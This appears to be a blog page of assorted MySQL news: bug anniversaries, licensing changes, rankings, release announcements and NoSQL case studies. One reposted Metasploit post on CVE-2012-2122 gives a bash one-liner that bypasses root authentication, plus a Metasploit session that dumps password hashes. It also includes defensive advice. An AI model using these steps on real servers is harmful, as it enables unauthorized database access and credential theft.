Happy 7th birthday MySQL bug #20786

http://bugs.mysql.com/bug.php?id=20786

[29 Jun 2006 22:31] Erik Kay reported the bug …..

 

[21 Jul 2011 1:27] John Swapceinski
I'm planning to throw a 5 year birthday party for this bug at the end of the month.
Who wants to come?  Anyone from MySQL/Sun/Oracle?  There will be cake.

[28 Jun 17:25] Ada Pascal
And now there has been cake:
http://www.youtube.com/watch?v=oAiVsbXVP6k
Happy 7th birthday MySQL bug #20786!

MySQL man pages silently relicensed away from GPL

[Amended] According to mysql.com this was a bug

 

It has recently been brought to attention that the MySQL man pages have been relicensed. The change was made rather silently going from MySQL 5.5.30 to MySQL 5.5.31. This affects all pages in the man/ directory of the source code.

You can tell the changes have come during this short timeframe (5.5.30->5.5.31). The old manual pages were released under the following license:

This documentation is free software; you can redistribute it and/or modify it only under the terms of the GNU General Public License as published by the Free Software Foundation; version 2 of the License.

The new man pages (following 5.5.31 and greater – still valid for 5.5.32) are released under the following license:

This software and related documentation are provided under a license agreement containing restrictions on use and disclosure and are protected by intellectual property laws. Except as expressly permitted in your license agreement or allowed by law, you may not use, copy, reproduce, translate, broadcast, modify, license, transmit, distribute, exhibit, perform, publish, or display any part, in any form, or by any means. Reverse engineering, disassembly, or decompilation of this software, unless required by law for interoperability, is prohibited.

This is clearly not very friendly of MySQL at Oracle.

 

 

Most popular data management systems

According to the DB-Engine ranking dsds

 

April 2013
Rank Last Month DBMS Database Model Score Changes
1. 1. Oracle  Relational DBMS 1560.59 +27.20
2. 3. MySQL  Relational DBMS 1342.45 +47.24
3. 2. Microsoft SQL Server  Relational DBMS 1278.15 -40.21
4. 4. PostgreSQL  Relational DBMS 174.09 -3.07
5. 5. Microsoft Access  Relational DBMS 161.40 -8.77
6. 6. DB2  Relational DBMS 155.02 -4.31
7. 7. MongoDB  Document store 129.75 +5.52
8. 9. SQLite  Relational DBMS 88.94 +5.68
9. 8. Sybase  Relational DBMS 80.16 -5.25
10. 10. Solr  Search engine 46.15 +2.99
11. Teradata  Relational DBMS 44.93
12. 11. Cassandra  Wide column store 38.57 +2.21
13. 12. Redis  Key-value store 35.58 +3.15
14. 13. Memcached  Key-value store 24.80 -0.17
15. 14. Informix  Relational DBMS 24.00 +0.10
16. 15. HBase  Wide column store 21.84 +1.40
17. 16. CouchDB  Document store 18.72 +0.42
18. 17. Firebird  Relational DBMS 12.24 -1.54
19. Netezza  Relational DBMS 11.14
20. 18. Sphinx  Search engine 9.55 +0.09
21. 19. Neo4j  Graph DBMS 8.34 +0.90
22. 21. Elasticsearch  Search engine 8.31 +1.56
23. 22. Riak  Key-value store 7.20 +1.10

CVE-2012-2122: A Tragically Comedic Security Flaw in MySQL

Posted by HD Moore in Metasploit on Jun 11, 2012 12:51:25 AM

Introduction

 

On Saturday afternoon Sergei Golubchik posted to the oss-sec mailing list about a recently patched security flaw (CVE-2012-2122) in the MySQL and MariaDB database servers. This flaw was rooted in an assumption that the memcmp() function would always return a value within the range -128 to 127 (signed character). On some platforms and with certain optimizations enabled, this routine can return values outside of this range, eventually causing the code that compares a hashed password to sometimes return true even when the wrong password is specified. Since the authentication protocol generates a different hash each time this comparison is done, there is a 1 in 256 chance that ANY password would be accepted for authentication.

 

In short, if you try to authenticate to a MySQL server affected by this flaw, there is a chance it will accept your password even if the wrong one was supplied. The following one-liner in bash will provide access to an affected MySQL server as the root user account, without actually knowing the password.

 

for i in `seq 1 1000`; do mysql -u root –password=bad -h 127.0.0.1 2>/dev/null; done

mysql>

 

 

Exploitability

 

Although a wide range of MySQL and MariaDB versions use the vulnerable code, only some of these systems are exploitable. It boils down to whether the memcmp() routine returns values outside of the unsigned character range. According to Sergei, this is normally not the case, and the routine is normally compiled into the server as an inline function. The major exception is when GCC uses SSE optimization. Joshua Drake, a security researcher with Accuvant Labs, provided a sample application that can determine whether your system might be affected. On most systems, the results of this application match the MySQL package provided by the distribution, but the only way to be sure is to actually test it.

 

If you’d like to give this a try yourself, download Metasploit now for free.

 

So far, the following systems have been confirmed as vulnerable:

  • Ubuntu Linux 64-bit ( 10.04, 10.10, 11.04, 11.10, 12.04 ) ( via many including @michealc )
  • OpenSuSE 12.1 64-bit MySQL 5.5.23-log ( via @michealc )
  • Debian Unstable 64-bit 5.5.23-2 ( via @derickr )
  • Fedora ( via hexed  and confirmed by Red Hat )
  • Arch Linux (unspecified version)

 

Feedback so far indicates the following platforms are NOT vulnerable:

  • Official builds from MySQL and MariaDB (including Windows)
  • Red Hat Enterprise Linux 4, 5, and 6 (confirmed by Red Hat)
  • CentOS using official RHEL rpms
  • Ubuntu Linux 32-bit (10.04, 11.10, 12.04, likely all)
  • Debian Linux 6.0.3 64-bit (Version 14.14 Distrib 5.5.18)
  • Debian Linux lenny 32-bit 5.0.51a-24+lenny5 ( via @matthewbloch )
  • Debian Linux lenny 64-bit 5.0.51a-24+lenny5 ( via @matthewbloch )
  • Debian Linux lenny 64-bit 5.1.51-1-log ( via @matthewbloch )
  • Debian Linux squeeze 64-bit 5.1.49-3-log ( via @matthewbloch )
  • Debian Linux squeeze 32-bit 5.1.61-0+squeeze1 ( via @matthewbloch )
  • Debian Linux squeeze 64-bit 5.1.61-0+squeeze1 ( via @matthewbloch )
  • Gentoo 64-bit 5.1.62-r1 ( via @twit4c )
  • SuSE 9.3 i586 MySQL 4.1.10a ( via @twit4c )
  • OpenIndiana oi_151a4 5.1.37 ( via @TamberP )
  • FreeBSD 64-bit (many versions)

 

 

Most Linux vendors should have a patch out soon, if not already.

 

 

Caveats and Defense

 

The first rule of securing MySQL is to not expose to the network at large in the first place. Most Linux distributions bind the MySQL daemon to localhost, preventing remote access to the service. In cases where network access must be provided, MySQL also provides host-based access controls. There are few use cases where the MySQL daemon should be intentionally exposed to the wider network and without any form of host-based access control.

 

If you are responsible for a MySQL server that is currently exposed to the network unnecessarily, the easiest thing to do is to modify the my.cnf file in order to restrict access to the local system. Open my.cnf with the editor of your choice, find the section labeled [mysqld] and change (or add a new line to set) the “bind-address” parameter to “127.0.0.1”. Restart the MySQL service to apply this setting.

 

 

Real-world Version Information

 

Pulling from the resources of a personal side project, I was able to derive some statistics about the real-world impact of this vulnerability. This project managed to find and gather the initial handshake for approximately 1.74 million MySQL servers across the internet at large. This statistic only includes MySQL instances that were on hosts publicly exposed to the internet and not bound to localhost.

 

Host Access Control

 

Of the 1.74 million MySQL servers identified, slightly more than 50% did not enforce host-based access controls ( 879,046 vs 863,920 ). The data was gathered by scanning randomly generated IPs across the entire addressable IPv4 unicast range, excluding networks known to be “dark” or where the network administrators had opted out of the survey.

 

MySQL Version Numbers

 

If we break down the list of accessible servers by version, we can see that the 5.0.x version series accounts for over 356,000 of the entire set, followed by 285,000 running a 5.1.x version, and 134,436 running a 5.5.x version. Doing the same type of analysis on the build flavor highlights how easy it is to identify Ubuntu (43,900), Debian (6,408), and Windows (98,665) MySQL services from the banners alone. Knowing that most Ubuntu 64-bit builds are likely to be vulnerable, the real question is how many of those nearly 44,000 Ubuntu systems are running 64-bit editions of the operating system.

 

 

Making the Most of It

 

If you are approaching this issue from the perspective of a penetration tester, this will be one of the most useful MySQL tricks for some time to come. One feature of Metasploit you should be familiar with is the mysql_hashdump module. This module uses a known username and password to access the master user table of a MySQL server and dump it into a locally-stored “loot” file. This can be easily cracked using a tool like John the Ripper, providing clear-text passwords that may provide further access.

 

This evening Jonathan Cran (CTO of Pwnie Express and Metasploit contributor) committed a threaded brute-force module that abuses the authentication bypass flaw to automatically dump the password database. This ensures that even if the authentication bypass vulnerability is fixed, you should still be able to access the database using the cracked password hashes. A quick demonstration of this module is shown below using the latest Metasploit Framework GIT/SVN snapshot.

 

msfconsole

msf > use auxiliary/scanner/mysql/mysql_authbypass_hashdump

msf  auxiliary(mysql_authbypass_hashdump) > set USERNAME root

msf  auxiliary(mysql_authbypass_hashdump) > set RHOSTS 127.0.0.1

msf  auxiliary(mysql_authbypass_hashdump) > run

 

[+] 127.0.0.1:3306 The server allows logins, proceeding with bypass test

[*] 127.0.0.1:3306 Authentication bypass is 10% complete

[*] 127.0.0.1:3306 Authentication bypass is 20% complete

[*] 127.0.0.1:3306 Successfully bypassed authentication after 205 attempts

[+] 127.0.0.1:3306 Successful exploited the authentication bypass flaw, dumping hashes…

[+] 127.0.0.1:3306 Saving HashString as Loot: root:*C8998584D8AA12421F29BB41132A288CD6829A6D

[+] 127.0.0.1:3306 Saving HashString as Loot: root:*C8998584D8AA12421F29BB41132A288CD6829A6D

[+] 127.0.0.1:3306 Saving HashString as Loot: root:*C8998584D8AA12421F29BB41132A288CD6829A6D

[+] 127.0.0.1:3306 Saving HashString as Loot: root:*C8998584D8AA12421F29BB41132A288CD6829A6D

[+] 127.0.0.1:3306 Saving HashString as Loot: debian-sys-maint:*C59FFB311C358B4EFD4F0B82D9A03CBD77DC7C89

[*] 127.0.0.1:3306 Hash Table has been saved: 20120611013537_default_127.0.0.1_mysql.hashes_889573.txt

[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

MySQL 5.6 DMR has been released

MySQL 5.6 Development Milestone Release has been released and introduces new features Focus on Improved Availability, Performance and Manageability for Web, Cloud and Embedded Applications

Redwood Shores, Calif. – April 10, 2012

News Facts

Today, Oracle announced a new Development Milestone Release (DMR) for MySQL 5.6, the world’s most popular open source database
Available for download in the MySQL Developer Zone, this MySQL 5.6 DMR delivers new replication features enhancing availability with self-healing recovery, increased performance, and improved manageability.
In addition to the new DMR, Oracle is providing early access to significant features under development for community testing and feedback through http://labs.mysql.com. The features include online operations for ADD index and NoSQL access to InnoDB via the Memcached protocol.

MySQL 5.6 DMR Focuses on Enhanced Availability, Increased Performance and Improved Manageability

The new MySQL 5.6 DMR delivers:
Enhanced high availability with new replication features, including: Global Transactions Identifiers (GTIDs), enabling replication progress to be tracked through a replication topology, providing a foundation for self-healing recovery, and the ability to deploy more complex replication topologies without administrative overhead. Coupled with the new MySQL replication utilities to provide monitoring with automatic failover and switchover, GTIDs alleviate the need for additional third party High-Availability solutions, protecting web and cloud-based services against both planned and unplanned downtime.
New optimizer features for better throughput of complex queries, such as: Subquery optimizations: included in the optimizer path, allow developers to simplify application code by consolidating multiple queries or result sets into a single unit of work. CURRENT_TIMESTAMP: now part of the optimizer and used as the default for DATETIME columns, eliminates the need for the application to assign this value when blank by default. Faster range based queries: by using ready statistics vs. index based scans, improves the speed of queries with multiple range values. Faster filesort and ORDER BY queries: by selecting the best query execution method at optimization vs. parsing stage. Quick and easy readability: with EXPLAIN output delivered in JSON format.
An improved PERFORMANCE_SCHEMA enables better in-depth optimization of application performance and analysis of the MySQL environment with new query statement summaries and a new host_cache diagnostics table.
The following key features are also available through http://labs.mysql.com, for early testing and feedback from the MySQL community:
Online Operations for ADD Index: improve InnoDB’s availability and performance by enabling true online, non-blocking ADD index operations, and enable faster and simpler schema evolution to support rapidly evolving Web services.
High performance NoSQL access to InnoDB from Memcached: provides the flexibility of using NoSQL techniques to access InnoDB data alongside the existing SQL query model.
Additional performance improvements on modern hardware: increasing InnoDB query performance by better handling frequently updated hot data regions in multi-core CPUs.

Supporting Quote

“Working with the user community, Oracle continues to lead MySQL innovation, delivering new and anticipated features and enhancements,” said Tomas Ulin, Oracle’s MySQL vice president of Engineering. “With this new MySQL 5.6 development milestone release, Oracle has further improved the performance, manageability and availability of the MySQL Database, making it an even better choice for web, cloud-based and embedded applications.”

Supporting Resources

The MySQL 5.6 development milestone release can be downloaded here. Terms, conditions and restrictions apply.

Evernote bucking the NoSQL trend hanging to MySQL

In a recent blog post, Evernote bear on its SQL technical choice, MySQL actually, and details its main arguments:

Atomicity: If an API call succeeds, then 100% of the changes are completed, and if an API call fails, then none of them are committed. This means that if we fail trying to store the fourth image in your Note, there isn’t a half-formed Note in your account and incorrect monthly upload allowance calculations to charge you for the broken upload.

Consistency: At the end of any API call, the account is in a fully usable and internally consistent state. Every Note has a Notebook and none of them are “dangling.” The database won’t let us delete a Notebook that still has Notes within it, thanks to the FOREIGN KEY constraint.

Durability:  When the server says that a Notebook was created, the client can assume that it actually exists for future operations (like the createNote call). The change is durable so that the client knows that it has a consistent reflection of the state of the service at all times.

 

Read more:

http://blog.evernote.com/tech/2012/02/23/whysql/

MySQL Cluster 7.2 GA has been released

Oracle is delighted to announce the immediate availability of the production-ready, GA release of MySQL Cluster 7.2, available for download under the GPL, and as part of the commercial MySQL Cluster Carrier Grade Edition, including management tools, product certifications and 24×7 global support.

New benchmarks demonstrate MySQL Cluster’s ability to support the most demanding web and telecoms workloads, while maintaining 99.999% availability. MySQL Cluster delivered 1 billion queries per minute (17.6 million queries per second), scaled-out across 8 x commodity Intel x86 server nodes, accessed by the NoSQL C++ NDB API.

 

Enabling next generation web services:

  • 70x higher complex query performance
  • Native Memcached API
  • 4x higher data node scalability
  • Integration with the latest MySQL 5.5 server
  • Support for Virtual Machine (VM) environments;

Official annoucement:

http://www.mysql.com/why-mysql/white-papers/mysql-cluster-7.2-ga.html

NoSQL skills over the world

 

 

 

 

 

 

Podcast on MySQL Cluster 7.2 new features

Mat Keep and Bernd Ocklin discuss what’s new in the second milesone release of MySQL Cluster 7.2: performance improvements, new NoSQL access (memcached protocol), cross data center scalability.

http://streaming.oracle.com/ebn/podcasts/media/11013471_MySQL_110111.mp3

Wordnik's case study from MySQL to MongoDB

About Wordnik

Wordnik is based on the principle that people learn words best by seeing them in context.

It’s an online dictionary that uses words and definitions that are in “traditional” dictionaries and ones that have not made it there yet. The Wordnik site wants to show you all the conversations, pictures, and other talk about your word.

The case study

One year ago today they started the investigation to find an alternative to MySQL to store, find, and retrieve our corpus data. After months of experimentation in the non-relational landscape (and running a scary number of nightly builds), they settled on MongoDB. The primary driver for migrating to MongoDB was for performance, one year later they posted an article about their experience on moving from MySql to MongoDB and provide some interesting statistics:

MongoDB servers an average of 500k requests/per hour. With 4x that number during peak periods
• More than 12 billion documents stored by MongoDB
• Around 3 TB storage per node
• Easily sustained insert speeds of 8k documents/second, often with bursts to 50k documents/second
• Every retrieval type is faster than MySql
• example fetch time reduced from 400ms to 60ms
• dictionary entries from 20ms to 1ms
• document metadata from 30ms to .1ms
• spelling suggestions from 10ms to 1.2ms